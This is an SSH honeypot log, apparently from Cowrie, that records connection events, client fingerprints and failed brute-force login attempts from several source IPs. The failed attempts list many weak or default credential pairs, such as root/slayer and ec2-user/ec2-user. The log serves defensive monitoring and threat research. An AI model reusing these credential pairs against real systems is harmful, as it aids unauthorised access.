{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a6:48:d8:7e:9e:1b:3e:ce:c1:ae:b1:fd:a8:cc:c7:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2tJjapsjdIC9TuE4JPxdCNfn6Wa2Wg+T79fOr5RnB+jwz2lXxJoyk+Gz9oBCJB+E1JNWrC7bwnSZEfoGSBc7OxJY8vh8t3kb0gyCeQHeV2L1empblL5eHfL9oWo7R2eAJJ3OjPlw5aDjPqtpLOX+JDTWw1q27l81RQEOWIMlIKoFKpfkwrB96ISYJDSkFUb+bpGVqiN0jT70R/rPpfyxgNkH5Yx9QmcOBE6LCdDH7oDj/bxEj7SdT68C7rCU7xaRXXTDrhPC8PfqMNjF9dGKT5pt0L5+EU029eheydSpvU19qApBQ0iigr/vYuurHn7qYIiIuD/jGYeC6hXBHMH+/w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:41.974205Z","src_ip":"8.210.18.141","session":"13d9278b0d74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:42.181806Z","src_ip":"8.210.18.141","session":"13d9278b0d74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:42.538489Z","src_ip":"176.65.148.108","session":"1578888da37f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"slayer","message":"login attempt [root/slayer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:42.575684Z","src_ip":"103.82.132.16","session":"3a1076efc6a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:43.900290Z","src_ip":"103.82.132.16","session":"3a1076efc6a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":48702,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed27617bafe8","protocol":"ssh","message":"New connection: 160.251.185.39:48702 (159.203.135.109:22) [session: ed27617bafe8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:44.717207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:44.723320Z","src_ip":"160.251.185.39","session":"ed27617bafe8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:44.911424Z","src_ip":"160.251.185.39","session":"ed27617bafe8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":56352,"dst_ip":"159.203.135.109","dst_port":22,"session":"4494eb534662","protocol":"ssh","message":"New connection: 89.223.69.22:56352 (159.203.135.109:22) [session: 4494eb534662]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:45.120200Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:45.125570Z","src_ip":"89.223.69.22","session":"4494eb534662","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:45.238894Z","src_ip":"89.223.69.22","session":"4494eb534662","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ivanov","message":"login attempt [root/ivanov] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:45.578933Z","src_ip":"89.223.69.22","session":"4494eb534662","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ann12345","message":"login attempt [root/ann12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:45.691134Z","src_ip":"160.251.185.39","session":"ed27617bafe8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:46.694865Z","src_ip":"89.223.69.22","session":"4494eb534662","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:46.885732Z","src_ip":"160.251.185.39","session":"ed27617bafe8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":59530,"dst_ip":"159.203.135.109","dst_port":22,"session":"77a8d2145489","protocol":"ssh","message":"New connection: 83.168.110.85:59530 (159.203.135.109:22) [session: 77a8d2145489]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:47.315468Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:47.320784Z","src_ip":"83.168.110.85","session":"77a8d2145489","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:47.445879Z","src_ip":"83.168.110.85","session":"77a8d2145489","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"g","password":"g","message":"login attempt [g/g] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:47.811488Z","src_ip":"83.168.110.85","session":"77a8d2145489","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:49.071885Z","src_ip":"83.168.110.85","session":"77a8d2145489","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":33168,"dst_ip":"159.203.135.109","dst_port":22,"session":"c640d8adca4e","protocol":"ssh","message":"New connection: 83.168.110.85:33168 (159.203.135.109:22) [session: c640d8adca4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:57.861021Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:57.865827Z","src_ip":"83.168.110.85","session":"c640d8adca4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:57.987750Z","src_ip":"83.168.110.85","session":"c640d8adca4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":51241,"dst_ip":"159.203.135.109","dst_port":22,"session":"33219336f220","protocol":"ssh","message":"New connection: 167.172.81.52:51241 (159.203.135.109:22) [session: 33219336f220]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:58.084552Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:58.093866Z","src_ip":"167.172.81.52","session":"33219336f220","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:58.097914Z","src_ip":"167.172.81.52","session":"33219336f220","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"123456","message":"login attempt [user2/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:58.358325Z","src_ip":"83.168.110.85","session":"c640d8adca4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:59.568372Z","src_ip":"83.168.110.85","session":"c640d8adca4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":51820,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c05828a67e7","protocol":"ssh","message":"New connection: 103.27.238.116:51820 (159.203.135.109:22) [session: 8c05828a67e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:50:00.239217Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:50:00.245741Z","src_ip":"103.27.238.116","session":"8c05828a67e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:50:00.502890Z","src_ip":"103.27.238.116","session":"8c05828a67e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gfhjk","message":"login attempt [root/gfhjk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:50:01.275645Z","src_ip":"103.27.238.116","session":"8c05828a67e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:50:02.535090Z","src_ip":"103.27.238.116","session":"8c05828a67e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":54358,"dst_ip":"159.203.135.109","dst_port":22,"session":"e15c7f55b377","protocol":"ssh","message":"New connection: 83.168.110.85:54358 (159.203.135.109:22) [session: e15c7f55b377]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:50:08.720975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:50:08.730200Z","src_ip":"83.168.110.85","session":"e15c7f55b377","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:50:08.852972Z","src_ip":"83.168.110.85","session":"e15c7f55b377","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"ec2-user","message":"login attempt [ec2-user/ec2-user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:50:09.219283Z","src_ip":"83.168.110.85","session":"e15c7f55b377","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:50:10.344423Z","src_ip":"83.168.110.85","session":"e15c7f55b377","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":31061,"dst_ip":"159.203.135.109","dst_port":22,"session":"611a18289919","protocol":"ssh","message":"New connection: 2.57.121.25:31061 (159.203.135.109:22) [session: 611a18289919]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:50:11.193233Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:50:11.210259Z","src_ip":"2.57.121.25","session":"611a18289919","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:50:11.315130Z","src_ip":"2.57.121.25","session":"611a18289919","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"16031981","message":"login attempt [user/16031981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:50:11.787376Z","src_ip":"2.57.121.25","session":"611a18289919","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"159753123","message":"login attempt [user/159753123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:50:12.893831Z","src_ip":"2.57.121.25","session":"611a18289919","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"153153","message":"login attempt [user/153153] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:50:14.003468Z","src_ip":"2.57.121.25","session":"611a18289919","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"151nxjmt","message":"login attempt [user/151nxjmt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:50:15.106296Z","src_ip":"2.57.121.25","session":"611a18289919","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"15121994","message":"login attempt [user/15121994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:50:16.211789Z","src_ip":"2.57.121.25","session":"611a18289919","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:50:17.318672Z","src_ip":"2.57.121.25","session":"611a18289919","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":60886,"dst_ip":"159.203.135.109","dst_port":22,"session":"40ae8733cb55","protocol":"ssh","message":"New connection: 83.168.110.85:60886 (159.203.135.109:22) [session: 40ae8733cb55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:50:18.836242Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:50:18.842889Z","src_ip":"83.168.110.85","session":"40ae8733cb55","protocol":"ssh"}
